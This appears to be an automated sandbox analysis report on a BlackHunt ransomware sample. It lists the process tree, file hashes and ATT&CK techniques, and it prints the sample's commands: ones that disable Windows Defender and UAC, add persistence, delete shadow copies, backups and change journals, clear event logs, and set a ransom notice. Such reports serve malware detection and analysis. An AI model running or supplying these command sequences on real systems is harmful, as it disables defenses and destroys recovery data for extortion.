dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 135 PID 5032 wrote to memory of 1636 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 135 PID 5032 wrote to memory of 4172 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 137 PID 5032 wrote to memory of 4172 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 137 PID 5032 wrote to memory of 5084 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 138 PID 5032 wrote to memory of 5084 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 138 PID 5032 wrote to memory of 4732 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 141 PID 5032 wrote to memory of 4732 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 141 PID 1376 wrote to memory of 2576 1376 Conhost.exe 175 PID 1376 wrote to memory of 2576 1376 Conhost.exe 175 PID 5032 wrote to memory of 2348 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 142 PID 5032 wrote to memory of 2348 5032 dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe 142 PID 380 wrote to memory of 4448 380 Conhost.exe 149 PID 380 wrote to memory of 4448 380 Conhost.exe 149 PID 4996 wrote to memory of 4644 4996 cmd.exe 148 PID 4996 wrote to memory of 4644 4996 cmd.exe 148 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe"C:\Users\Admin\AppData\Local\Temp\dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5032 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵PID:4512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3644 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1808
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:1120
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:4936
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:3752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵PID:1584
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:1924
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:1376
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵PID:2576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:5064
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:3436
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:4024
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:596
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:380
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:4448
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:4644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1016
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵
- Modifies registry class
PID:3752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:4132
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:3952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:4988
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2848
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:392
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:540
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3024
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:5024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4724
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2148
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1636
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:4172
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:3860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:5084
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:4368
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:4732
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:4020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2348
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1384
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:4860
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4804
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:552
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:3240
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:940
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2660
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:4496
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe" /F2⤵PID:224
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe" /F3⤵
- Creates scheduled task(s)
- Modifies registry class
PID:4512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2816
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4492
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:4396
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:728
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1664
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Suspicious use of WriteProcessMemory
PID:1376
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:376
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:3244
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2308
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:5072
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:644
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:688
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2856
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:388
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3600
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:5276
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2792
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:228
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
- Adds Run key to start application
PID:1584
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3092
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:4092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2148
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:4024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:5176
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:6648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:5716
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:2788
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6428
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3016
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6680
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3916
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6704
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:416
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2920
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1172
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:5284
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:6740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:5524
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:292
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3856
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:5752
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3660
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:4940
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3976
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:6568
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:6664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:6460
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:6600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:4024
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:6552
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:4520
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:6780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:6852
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:6856
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:2916 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:7024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3152
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:4928
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:5128
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6624
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\dd9c643d29854a17580be3c2dbe6c0d0951b8acc20c8aada13b9d09693efee92.exe"2⤵PID:6376
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:5992
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of WriteProcessMemory
PID:380
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4804
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5344
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:392
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:6112
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD5f1b6de51f6e8c347ee9ffc82e2b29c6d
SHA168bf4c529753c8f4433a3e978a3e76bf8d012539
SHA256bef1a1e83d7bc3e4419374b06b6995ed25ddfdcacd820b719c589b00e9c4f7cb
SHA51299798edbacdea044e6042e9ee3503700ec124b957b9522470087e16e16c77abf983cb5996eefbd61892e6209d4f18070f89b284a0a9668c571457a130a4e90eb
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Filesize
12KB
MD5b9d69861bc90211f5e9335bc2b69a160
SHA11ea1018999e3164e39c1ab581a57bdfaeeb99a49
SHA2568ba8c4cda64518a05de9ad7e40bb18af5ee03a3d09b97dc6380c258bb504ad7c
SHA512cacadf07b627471e8bd5eb286bd64a813f8fed336524eaf14a0a47e912923e36f90647f5f48d6a499dd7c46148ad1d2d1945e27517fbb3a67adff4aa861bf22d
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Filesize
684B
MD5256f41213fcd894b5db710ed9fe48516
SHA10b71118730427bf5a321d8e3ab69ae0192ab93c4
